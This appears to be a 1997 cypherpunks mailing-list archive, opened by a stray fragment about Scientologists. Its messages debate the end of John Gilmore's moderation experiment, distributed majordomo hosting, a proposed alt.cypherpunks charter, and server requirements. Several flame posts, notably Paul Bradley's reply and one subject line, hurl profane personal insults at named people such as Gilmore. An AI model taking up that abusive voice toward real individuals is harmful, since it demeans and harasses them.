for the reasons that I know several people who suffered directly at the 
hands of the Scientologists after trying to infiltrate their organization 
via the Internet. These people will recieve this message due to this 
posting. Enjoy.

se7en




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: das@razor.engr.sgi.com (Anil Das)
Date: Tue, 11 Feb 1997 16:43:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: whois cypherpunks.org ?
Message-ID: <9702111643.ZM18@razor.engr.sgi.com>
MIME-Version: 1.0
Content-Type: text/plain


With all this talk about relocating the home of cypherpunks, I decided to
see if any second level domains are registered under the cypherpunks
name.

Both cypherpunks.org and cypherpunks.com are registered by one
Elias M. Levy in Ft. Meade, MD. I haven't seen his name on the list
though. Anybody knows more about this?

--
Anil Das




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 11 Feb 1997 14:09:03 -0800 (PST)
To: Mac-crypto Distribution <rah@shipwright.com>
Subject: Mac-Crypto 1997 session Schedule
Message-ID: <v03007879af269b8a39b5@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Sender: mac-crypto@thumper.vmeng.com
Reply-To: Vinnie Moscaritolo <vinnie@webstuff.apple.com>
Mime-Version: 1.0
Precedence: Bulk
Date: Tue, 11 Feb 1997 13:43:19 -0800
From: Vinnie Moscaritolo <vinnie@webstuff.apple.com>
To: Multiple recipients of <mac-crypto@thumper.vmeng.com>
Subject: Mac-Crypto 1997 session Schedule

hey all;

I have posted a preliminary list of sessions for the 1997 Mac-Crypto
conference at the Mac-Crypto conference at the webpage
http://www.vmeng.com/mc/conf.html

if you haven't registered, please get your name in now!

if you want to give a talk, please drop me a line asap.



Vinnie Moscaritolo
http://www.vmeng.com/vinnie/
Fingerprint: 4FA3298150E404F2782501876EA2146A
-------------------------------------------------------


  ...I know what probably happened. A new high-level manager at Apple
picked up
  some old dusty videotape off the shelf, labelled "Super Bowl 1984", played
  it and said, "Yah know, that guy on the screen was making a hell of a lot of
  sense until that trouble-maker smashed it!"




--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 11 Feb 1997 14:41:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: alt.cypherpunks
Message-ID: <v0300787caf26a49a5a97@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


Hey, folks,

I thought all you had to do to create an alt.group was to have a news admin
somewhere just make a group; send out a control message of somekind. I
thought that alt groups didn't have to go through a charter, or voting
process, or anything else. They just happened.

Then, everyone just has to tell their local news admin that they went to
see it, or they can wait until their news admin sees it flying by, and adds
it to the available groups list at his own discretion.

It's not like we want comp.cypherpunks or something, with a voting process,
right?

Cheers,
Bob Hettinga





-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Tue, 11 Feb 1997 16:42:41 -0800 (PST)
To: sandfort@crl7.crl.com (Sandy Sandfort)
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <199702111458.GAA20705@toad.com>
Message-ID: <199702120140.RAA23826@songbird.com>
MIME-Version: 1.0
Content-Type: text


Sandy Sandfort allegedly said:
> 
[...]
> Finally, if anyone wants to discuss why the Cypherpunk list has
> come to this, or what I did right or wrong as a moderator, let's
> talk about--on the new list(s) YOU create.  For now, though, it's
> off-topic.  We have work to do.

If a scheme can be worked out for a distributed list, I am willing to 
support maybe 100 users at songbird.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Tue, 11 Feb 1997 16:21:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: NEW CYPHERPUNKS LIST (was Re: Moderation experiment almost over; "put up or shut up") (fwd)
Message-ID: <199702120027.SAA08451@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Tue, 11 Feb 1997 18:49:46 GMT
> From: Adam Back <aba@dcs.ex.ac.uk>
> 
> > 	This appears to be as good a time as any to announce that I'm
> > "putting up".  I've already taken steps, along with Jim Choate, to
> > start a network of majordomos hosting a Cypherpunks mailing list.  I
> > didn't intend to announce this until Jim and I had gotten the first
> > pair of 'domos working properly, but this means that we'll need to
> > speed things up.  Our intention is to have a set of majordomos which
> > are intersubscribed to a cypherpunks list on each one, with measures
> > taken to ensure that mail loops don't develop.  

> I'll contribute what I had planned:
> 
> As a stop gap measure you could create a standard majordomo at the
> beefiest of your 'domo hosts.

While it is true I was planning on bringing the Austin Cpunks remailer back
(kourier.ssz.com) this rather unexpected expansion has got me backpedalling.
So it looks like it will take about 3 weeks to get the intial site ready for
public access.

Right now my ISDN based site is all we have working. We have another site
through another ISP in the process of registering and configuration. I have
currently created a 'cypherpunks@ssz.com' but still have a couple of other
issues to work out. The most relevant one is that I will be upgrading both
Linux and Majordomo in approx. 2 weeks. We will be discussing this issue
further on Saturday at the Austin Cypherpunks meeting. If all goes well with
our discussion and my upgrade we should have the SSZ cypherpunks site
available in about 2 weeks. Sten and I hope that we can pursuade some others
to get involved both running remailers as well as modifying the various
scripts. At this point everything we do will be released to the public
domain. We also are expecting to add a proviso that all submissions to the
cpunks distributed remailer will be de facto public domain unless a specific
'fair use' header is included in each submission.

Finaly, another issue that will slow me down is the upcoming SRL show here
in Austin. I have committed time and effort so I don't know yet how the
conflicts will come or how I will resolve them. The next SRL planning meet
is Thu. nite so I will have a clearer idea of my upcoming schedule.

> Or you could create a quick 'n dirty mail exploder, by taking the
> current subscribers, and putting 100 mail addresses in a .forward file

[much good comments cut out]

> Final comment: perhaps you've investigated this, but what Perry
> Metzger has for the majordomo running cryptography@c2.net is excellent
> at stopping people forging subscribe and unsubscribe messages.
> 
> And would really cut down the nuisance of people subscribing others
> without their knowledge.

These are several of the issues that we will be discussing this Saturday.
We will also be looking at various means to distribute the subscriber list.
The current lead suggestion is to have subscriptions at any of the cpunks be
evenly distributed among them. This would somewhat complicate the subscriber
process.

Another aspect that I am hot to trot on is setting the system up so that
some of the cpunks sites could be anonymous, crypto, or combo remailers as
well.


                                                      Jim Choate
                                                      CyberTects
                                                      ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Tue, 11 Feb 1997 15:29:31 -0800 (PST)
To: cypherpunks-unedited@toad.com
Subject: Re: Cocksucker Gilmore's Big Adventure
In-Reply-To: <199702111854.KAA28289@netcom13.netcom.com>
Message-ID: <0n0E2U200YUe06aDk0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

mpd@netcom.com (Mike Duvos) writes:
> John Gilmore <gnu@toad.com> writes:
>  > Sandy has agreed to continue moderation through the end of the
>  > original 1-month experiment (through Feb 19).  And it's a good
>  > thing, too, because the "cypherpunks community" had better get
>  > off its whining butt in the next ten days, or it will no longer
>  > exist.
> 
> Ten days notice to relocate a high volume mailing list is
> insufficient.  This is yet another ultimatum by a whining coward
> who does not yet realize he is in a battle he is not going to win
> by escalation of reciprocal pissing.
<big, disgusted, snip>

You know, I was vaugley offended by John's comments about whiny
cypherpunks, until I read this message and realized who he was talking
about. John, thank you for your years of service to the cypherpunk
community 9such as it is), and Sandy, thanks for your well-intentioned
(but doomed from day one) efforts to take some resopnsibility for our
current mess. It's too bad things had to end in such a pissy way, but
anyone who wants to dole out blame should realize that in an anarchy,
all members are responsible for the maintainence of freedom.

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

-----BEGIN PGP SIGNATURE-----
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 02:15:05 -0800 (PST)
To: John Gilmore <gnu@toad.com>
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <855738588.515142.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> Sandy hit a pothole in the moderation experiment when Mr. Nemesis
> submitted a posting containing nothing but libelous statements about
> Sandy's employer.  He never anticipated that he wouldn't be able to
> follow his announced "post it to one list or the other" policy because
> to do so would make him legally liable (in his opinion; he's a lawyer,
> I'm not).  His gears jammed, and the whole machine came to a halt for
> a few days.

No, I think you are mistaken. If you take this as a pothole then 
there was very little road throughout the entire "moderation 
experiment". At the end of the day Sandfort discarded articles he 
didn`t like without posting them to either list and routed all 
criticism of his censorhip to the shit can.

> Now each of these posters will get their chance to do it "right" --
> on their own time and with their own resources.

As I said, you have dragged the lists name down with you. It is 
better that you close the list down now so it is no longer associated 
with a fascist such as yourself.

> A large fraction of the list seems to think that "freedom of speech"
> means that everyone is required to listen to everyone else at all
> times.  That there can't be focused, topical conversations in a
> society that has freedom of speech.  I would say the opposite; part of
> freedom of speech is the freedom to choose to whom we speak and to
> whom we listen.  This is part of what cryptography does: lets us
> control who can receive our speech, and lets recievers determine who
> the speaker is.

This is accepted by many members of the list including myself,  
However, I prefer to choose for myself who I listen to and converse with rather 
than having you or Sandfort decide for me.
 
> To paraphrase Zappa, you wouldn't know censorship if it bit you on the
> ass.  You think you're being censored when you're just being excluded
> from a forum because what you're saying isn't interesting to that forum.

And you wouldn`t know an anarchist if he bit you on the ass. Toad was 
supposed to host a list the purpose of which was to allow people to 
speak freely and without "moderation". You have censored it and you 
have fucked up. Face it, you are a fascist.

> So anyway, I'm tired of it all.  I'd much rather focus on getting my
> crypto work done than babysitting majordomo, tracking down attempts to
> subscribe the entire US Congress to the list, and debating the seventy
> or eighty "obvious right ways" to handle the list.

The obvious right way to handle the list, and the way you advocated 
until your greed for power and fear of criticism warped your 
judgement, was to run it as a totally free and open list.
 
> This is a "put up or shut up" to the cypherpunks community.

This is a "fuck off" to John Gilmore.

> The next ten days of moderated discussion, through the end of the
> original experiment, will give the community a chance to discuss
> whether and where it plans to host the list after the experiment is
> over.  My feeling is that the stalkers who have been trying to shut it
> down (Dimitri, etc) will be out in full force, trying to disrupt the
> process of finding a new home.  It would be very hard to make progress
> along that line in an unmoderated list.  Cypherpunks-unedited readers
> are welcome to try.

Eh? - Dimitri supports fully the aims and idealogies of 
crypto-anarchy as far as I can see. What he takes issue with is 
censorship, elitism and hypocisy. I happen to believe the same but I 
suppose that makes me a "stalker".

> Sandy reports that he's changing his criteria for moderation for the
> remainder of the experiment.  It was his idea, and I approve.  The
> criteria now are:
> 
> 	*  The topics of the list are:
> 		cryptography
> 		setting up replacements for cypherpunks@toad.com

Add praise of Sandfort, Gilmore (fart)(spit) and Sandforts employer 
to that.

> 	*  On-topic, legal, posts will go to the list.

Apart from the ones Sandfort doesn`t like.

> 	*  Postings with any hint of legal liability (in Sandy's opinion)
> 	   will be silently ignored.

So will posts which cricise Sandfort (spit), Gilmore (fart), Sameer 
(piss) or c2net (belch).

> 	*  Legal but off-topic posts will go to cypherpunks-flames.

Ie. None, because they will all be "silently ignored" by Sandfort.

> Sandy will apply these criteria retroactively to the backlog (of about
> 140 messages), which means that most recent criticisms of the
> moderation (which don't invove someone volunteering to do things for
> the list) will go straight to the flames list.  If you don't like it,
> I recommend that you start your own list.  Soon.

I shall, and on topic posts shall include those declaring John 
Gilmore is a cocksucker. And off topic posts will not be censored, so 
fuck you.
 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Cordian <emc@wire.insync.net>
Date: Tue, 11 Feb 1997 16:36:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cocksucker Gilmore's Big Adventure
In-Reply-To: <0n0E2U200YUe06aDk0@andrew.cmu.edu>
Message-ID: <199702120040.SAA06406@wire.insync.net>
MIME-Version: 1.0
Content-Type: text/plain


A Gilmore Supporter writes:

> You know, I was vaugley offended by John's comments about whiny
> cypherpunks, until I read this message and realized who he was talking
> about. John, thank you for your years of service to the cypherpunk
> community 9such as it is), 

John Gilmore's only contribution to Cypherpunks has been to provide
a box.  I can't even remember the last time he contributed something of
interest to the list, and he certainly ranks as one of the least
frequent contributors of substance over the years. 

Any goodwill John might have built up by letting us all use his box
has certainly been eradicated over the last few weeks by his takeover
of the list, and the series of edicts which followed. 

Yes, it was nice of John to donate the use of his box, back in the 
days when he did not feel the urge to exercise unilateral editorial
control.  But if it hadn't been his box, it would have been someone
elses box, and our gratitude towards him shouldn't be so great that
we are willing to sit back and let him do major damage to that which
"Cypherpunks" is supposed to stand for, lest someone claim we are
unappreciative. 

> and Sandy, thanks for your well-intentioned
> (but doomed from day one) efforts to take some resopnsibility for our
> current mess. It's too bad things had to end in such a pissy way, but
> anyone who wants to dole out blame should realize that in an anarchy,
> all members are responsible for the maintainence of freedom.

Sandy, unlike Herr Gilmore, has been a major contributor of substance
to the list since its inception, and hopefully he will continue to be
in the future.  The idea that he should moderate the list was of
course a silly one, but for reasons which do not reflect badly on him
in the least.  

What Mr. Blatz fails to realize is that the "problem" which certain
people tried to solve never really existed.  The quality of the
Cypherpunks list is determined solely by the amount of signal, not
by the amount of noise, unless one is getting ones feed of the 
list via 1200 baud long distance UUCP.  

Anyone can create signal by writing about relevant topics, and if
you feel signal is lacking in your particular area of interest, 
feel free to add some. 

The notion that the list was ever threatened by the humour of Dr. 
Vulis, or the one line bot-spammed insults about Tim May's heritage,
is an absurd one.  No one should have had any problem ignoring such
material, and only a politically naive fool would buy this as the
excuse for the blatant usurpation of the list by Gilmore and crew. 

--
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Tue, 11 Feb 1997 11:26:02 -0800 (PST)
To: stend@sten.tivoli.com
Subject: NEW CYPHERPUNKS LIST (was Re: Moderation experiment almost over; "put up or shut up")
In-Reply-To: <vpbu9r9tqj.fsf@grendel.tivoli.com>
Message-ID: <199702111849.SAA00534@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



I wish people would give subject fields which stand out to posts of
significant interest, other wise they tend to get lost in the noise.
(I have corrected this :-)

Sten Drescher <stend@sten.tivoli.com> writes:
> >>>>> John Gilmore writes:
> 
> JG> Sandy has agreed to continue moderation through the end of the
> JG> original 1-month experiment (through Feb 19).  And it's a good
> JG> thing, too, because the "cypherpunks community" had better get off
> JG> its whining butt in the next ten days, or it will no longer exist.
> 
> [...]
> 
> JG> This is a "put up or shut up" to the cypherpunks community.
> 
> 	This appears to be as good a time as any to announce that I'm
> "putting up".  I've already taken steps, along with Jim Choate, to
> start a network of majordomos hosting a Cypherpunks mailing list.  I
> didn't intend to announce this until Jim and I had gotten the first
> pair of 'domos working properly, but this means that we'll need to
> speed things up.  Our intention is to have a set of majordomos which
> are intersubscribed to a cypherpunks list on each one, with measures
> taken to ensure that mail loops don't develop.  
>
> 	John, I'd appreciate your permission to use your Cypherpunks
> welcome message as the basis for the welcome message of this new list.
> Also, while we will make every effort to have this new list available
> for subscriptions by Feb 20, I'd appreciate it if you could consider
> making the current list available for a short period longer if we
> encounter unanticipated difficulties.

First, thanks for your efforts!  (I had just spent a couple of hours
putting together a web page, and collecting information to organise
something, but you beat me to it.)  As I have spent some time on it,
I'll contribute what I had planned:

As a stop gap measure you could create a standard majordomo at the
beefiest of your 'domo hosts.

Or you could create a quick 'n dirty mail exploder, by taking the
current subscribers, and putting 100 mail addresses in a .forward file
at each <mail-exploder@domo.host>, and having the central 'domo with
an initial subscription list all the mail-exploders, plus all those
who subscribe afterwards.

Buys use some time to get to iron out the wrinkles in the distributed
list scheme.

As a simpler alternative to the mutually subscribed majordomo's you
might consider using mail-exploders for the final solution: set up
mail exploders which soley forward posts to subscribers (ie do not
accept posts).  The mail-exploder would be an appropriately
configured/modified majordomo itself.  Have a central majordomo which
accepts incoming posts, and forwards them to the mail-exploders.  The
central 'domo would also forward subscribe/unsubscribe to a random/the
correct(or all) majordomos.

Final comment: perhaps you've investigated this, but what Perry
Metzger has for the majordomo running cryptography@c2.net is excellent
at stopping people forging subscribe and unsubscribe messages.

The output looks like this:

: To: A.Back@exeter.ac.uk
: From: Majordomo@c2.net
: Subject: Confirmation for subscribe cryptography
: 
: Someone (possibly you) has requested that your email address be added
: to or deleted from the mailing list "cryptography@c2.net".
: 
: If you really want this action to be taken, please send the following
: commands (exactly as shown) back to "Majordomo@c2.net":
: 
:         auth abcd1234 subscribe cryptography A.Back@exeter.ac.uk
: 
: If you do not want to this action taken, just ignore this message and
: no action will be taken.

And would really cut down the nuisance of people subscribing others
without their knowledge.

Once, again thanks muchly for your's and Jim Ravage's efforts,

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Cordian <emc@wire.insync.net>
Date: Tue, 11 Feb 1997 16:50:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: alt.cypherpunks
In-Reply-To: <v0300787caf26a49a5a97@[139.167.130.246]>
Message-ID: <199702120053.SAA06437@wire.insync.net>
MIME-Version: 1.0
Content-Type: text/plain


Robert Hettinga writes:

> Hey, folks,

> I thought all you had to do to create an alt.group was to have a news admin
> somewhere just make a group; send out a control message of somekind. I
> thought that alt groups didn't have to go through a charter, or voting
> process, or anything else. They just happened.

> Then, everyone just has to tell their local news admin that they went to
> see it, or they can wait until their news admin sees it flying by, and adds
> it to the available groups list at his own discretion.

In theory, and according to the alt FAQ, anyone can create an alt group. 

In reality, control messages are merely advisory, and greater weight is
lent to control messages which have the imprimatur of the Alt Cabal than
to those issued by mere peons. 

The typical news admin finds that if he honors all rmgroup messages issued
by Cabal members, when they disapprove of a newsgroup not previously
discussed in alt.config, his life is made simpler, and he no longer has to
weed the wheat from the chaf by hand. 

Since most people are inherently lazy, and most newgroups created outside
of the alt.config process are trash, the path of least resistance is to
only automatically honor newgroups and rmgroups issued by Cabal members. 

This is of course the exact antithesis of how alt was supposed to work in
the first place, but with the large number of users on the Net at present,
it is not practical to create every single newsgroup a person might want
automatically.

--
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 11 Feb 1997 17:03:22 -0800 (PST)
To: ravage@einstein.ssz.com
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <199702120140.RAA23826@songbird.com>
Message-ID: <199702120059.SAA20410@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


so we have myself, Jim Choate, and you who colunteer to host
mailing lists for the distributed cypherpunks.

I have already created majordomo@algebra.com and cypherpunks@algebra.com.

We can coordinate our efforts. Actually, we can even have a mini
mailing list for people who want to participate in the distributed
cypherpunks experiment. If there is any interest, I can create such 
a list.

igor

Kent Crispin wrote:
> 
> Sandy Sandfort allegedly said:
> > 
> [...]
> > Finally, if anyone wants to discuss why the Cypherpunk list has
> > come to this, or what I did right or wrong as a moderator, let's
> > talk about--on the new list(s) YOU create.  For now, though, it's
> > off-topic.  We have work to do.
> 
> If a scheme can be worked out for a distributed list, I am willing to 
> support maybe 100 users at songbird.
> 
> -- 
> Kent Crispin				"No reason to get excited",
> kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
> PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Tue, 11 Feb 1997 16:47:31 -0800 (PST)
To: tcmay@got.net (Timothy C. May)
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
In-Reply-To: <199702111721.JAA22739@toad.com>
Message-ID: <199702120105.TAA00951@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


> (Please leave my name in any replies to ensure I see your comments.)
> I talked to Hugh Daniel at the Saturday meeting about the creation of an
> "alt.cypherpunks" unmoderated (of course) newsgroup as a possible
> alternative (or supplement) to cypherpunks@toad.com. Greg Broiles and John
> Gilmore were there for part of the discussion, too.

     Might "we" get wider propigation with something like "talk.issues.crypto"
or "talk.cypherpunks"? 

> Charter for alt.cypherpunks: (suggested)
> "Alt.cypherpunks is for the unmoderated discussion of cryptography and the
> political, social, and economic implications of unrestricted, strong
> readers are strongly advised to learn how to use filters and other tools
> for making virtual anarchies manageable for their own tastes."

     Maybe a pointer to these tools?

> * Disadvantages

	-Mailing lists easily penetrate firewalls, while many places don't 
provide Usenet access. 

	Another possibility would be to create a "private Usenet" setting up
NNTP servers that _only_ talk to each other. This would eventually allow for
the same sort of redundancy that the "regular" usenet offers, provide some of 
the same efficient use of resources, and ease of use (almost) but provide some
protection against spammers & etc. 

	For those who don't understand, this is how it would work (and correct
me if I am wrong): 

	Usenet works by servers exchanging messages with one or more other 
servers it is decentralized and has no central authority (execpt the cabal 
--there is no cabal) inherent in the process. These servers are told _who_
they get their feed from/to, so it should be possible to set up another 
network of Usenet servers just to serve our purposes.

	As part of setting up the servers, they can be configured as to who
they allow to conenct to them with newsreader software. This means that 
if we were to set up a secondary news network, people who couldn't get a 
reliable feed locally could easily find a server non-locally who would allow
access. 

	In otherwords, you would use your news reader to "read remotely" from
one of many servers. 

	There would be several advantages to this: 

	1) It would be easy to set up different groups for different 
discussions  i.e.:

	cypherpunks.politics 		#politics and social implications.
	cypherpunks.code		#cypherpunks write code. 
	cypherpunks.announce		#non-discussion--"self" moderated
	cypherpunks.flames		#just for fun.

	2) It provides for easy propigation, without the same amount of risks 
(spam &etc.) as a general usenet feed. 

	It would be easier to provide mail2news gateways for anonymous users
as the liability of providing a general usenet mail2news gateway would be
reduced. 

	Disadvantages:
	
	It would require people to actually setup and maintain fairly complex
software on (possibly, I don't know how flexible the software is) dedicated
hardware, altho the necessary hardware would be relatively cheap (in the 
386/486/sun3\/50 range for the probable load).

	It still leaves the problem of people behind firewalls.


	I have a small server that I am willing to add this to, and I am going 
to start looking at INN this evening. I am willing to provide a feed until 
my service provider screams at me (I doubt he will) assuming that I can 
get the software up and running. 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Tue, 11 Feb 1997 11:35:28 -0800 (PST)
To: "Timothy C. May" <cypherpunks@toad.com>
Subject: List!  No Way: Creation of "alt.cypherpunks"
In-Reply-To: <v03007800af264c8cba96@[207.167.93.63]>
Message-ID: <199702111932.MAA23647@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

    tim:  

    two points you make: 

    1.  the propogation is slow...

    2.  some sites do not carry alt. groups

    are enough to kill an active discussion list. of course, it does
    slow down excessive volume.

    I vote we just set up a new majordomo with some additional antispam 
    filters including knocking out exploding mail headers, etc. I would 
    accept excluding non-members as long as we take the remailers which 
    are listed with either JP or RL.

    Therefore, I am willing to host it on our majordomo which I have 
    pretty well shaken down for other lists.  other than spam and 
    potentially non-members, I refuse to even consider censorship or 
    moderation in any form.  

    Likewise, Jim Choate and Sten Drescher apparently are trying to 
    establish a multi-site majordomo.  the extra work of maintaining 
    non-duplicates and sychronization makes the task non-trivial and 
    questionable...

    as for failure mode recovery, I can always run a backup from 
    primenet; I dont really see the need for it; we have had less than 
    4 hours downtime in the last year, and that for a regional power 
    failure which will be a mute point sometime this spring when the 
    diesal generators arrive.  knock on wood, but the T1 has been up 
    straight through.

 ==
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBMwDJNb04kQrCC2kFAQGXqQQAlq5OAvJln7RdBwD758DuEBsb6kcECP+N
ij1nknAm2xVXaUrhXBC/q7OQblSq3RP9l5N4nh3Wo9P50wCLqFX8D7tOZvJi+psD
EfNk+tXQU5bKb1tZ06Jl4yFGqBSV0FKqeJ3FIgFNlqpdLfwG8k8OiDxUz3skw6ns
7QKjuAsPwUc=
=Lw6q
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Tue, 11 Feb 1997 11:27:07 -0800 (PST)
To: tcmay@got.net
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
In-Reply-To: <v03007800af264c8cba96@[207.167.93.63]>
Message-ID: <199702111912.TAA00553@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> writes:
> (Please leave my name in any replies to ensure I see your comments.)
> 
> I talked to Hugh Daniel at the Saturday meeting about the creation of an
> "alt.cypherpunks" unmoderated (of course) newsgroup as a possible
> alternative (or supplement) to cypherpunks@toad.com. Greg Broiles and John
> Gilmore were there for part of the discussion, too.
> 
> (We did not, unfortunately, get to the "future of the list" topic at the
> physical meeting...the excellent presentations ran way over the expected
> time and we never got to this topic. Sort of too bad, given John's edict
> that we have 10 days to find and implement an alternative....)

I was wondering how this part of the discussion would go, oh well.

> At Hugh's suggestion, I'm suggesting a "first cut" at a charter statement.
> Suggestions for additional language or changes are welcome.
> 
> Charter for alt.cypherpunks: (suggested)
> 
> "Alt.cypherpunks is for the unmoderated discussion of cryptography and the
> political, social, and economic implications of unrestricted, strong
> cryptography. The Cypherpunks grpup has existed since 1992 and has been
> central in the debate about strong crypto, government restrictions, crypto
> anarchy, and in showing weaknesses of various ciphers and security
> products. The mailing list has had as many as 1500 subscribers, plus
> gateways to newsgroups and Web sites. It is expected that "alt.cypherpunks"
> will be a free-wheeling forum for many viewpoints. As it is unmoderated,
> readers are strongly advised to learn how to use filters and other tools
> for making virtual anarchies manageable for their own tastes."

Sounds good enough to me.

> I invite your comments, editorial suggestions, etc. Perhaps when enough of
> the "collective mind" has made inputs (ughh!), the charter can be submitted
> with the creation message. (I'm not knowledgeable about the process, but
> I'll bet many of you are.)

I get the impression that Greg Broiles is, and he posted a message
proposing the creation of alt.cypherpunks a few hours before yours.
Perhaps you had not seen it.  Anyway he didn't propose a charter.


As Sten Drescher <stend@sten.tivoli.com> and Jim Choate
<ravage@einstein.ssz.com> just announced their work on a distributed
list based on multiple majordomo hosts, the question remains as to
which of:

1. separate alt.cypherpunks and cypherpunks list 

2. alt.cypherpunks and cypherpunks list gated both ways

3. cypherpunks list only

are most useful.

Either option 1 or option 2 sound good to me.  If the gating takes
place at a site with a good news feed, this would provide a mechanism
to allow people to access the list either way they chose.  (An
implementation of the news-mail / mail-news you proposed).

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 11 Feb 1997 17:23:06 -0800 (PST)
To: gnu@toad.com (John Gilmore)
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <199702112310.PAA28883@toad.com>
Message-ID: <199702120118.TAA20580@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


John Gilmore wrote:
> A pentium is definitely up to this task.  I've been running it the
> whole time on a slower 40MB SPARCstation-2 (that also runs netnews and
> general computing).  Give it a big /var/spool partition (mine is 60MB)
> because every message will sit in the queue for days (*somebody* on
> the list will have an unreachable name server or MX server until the
> msg times out).  Give it lots of RAM and paging space, since each
> sendmail process takes about 2MB virtual, 1.4MB physical, and you will
> have dozens running at the same time.
> 
> The new version of majordomo (that allows confirmation of
> subscriptions) will help a lot.  It needs a small patch though, to do
> exponential backoff on the lock file, or when you get a flood of
> messages, thirty majordomo processes will burn up the whole machine
> trying and failing to get the lock file.
> 
> You'll need a BIG mailbox for the bounce messages, and someone (or
> some unwritten software) to scan it every day or two and delete the
> lusers whose mailboxes are full or who dumped their account without
> unsubscribing.  The bounce mailbox on toad gets between 1 and 4MB of
> email a day; more when the list is under attack.
> 
> You'll want to run the latest version of BIND on the machine, too,
> since doing DNS name-lookups on a thousand email addresses is expensive.
> You want them all in the in-memory cache on the same machine.  The
> name daemon burns about 7MB virtual, 5MB real RAM once its cache
> gets loaded.
> 
> Make sure that every message sent to the list gets into at least
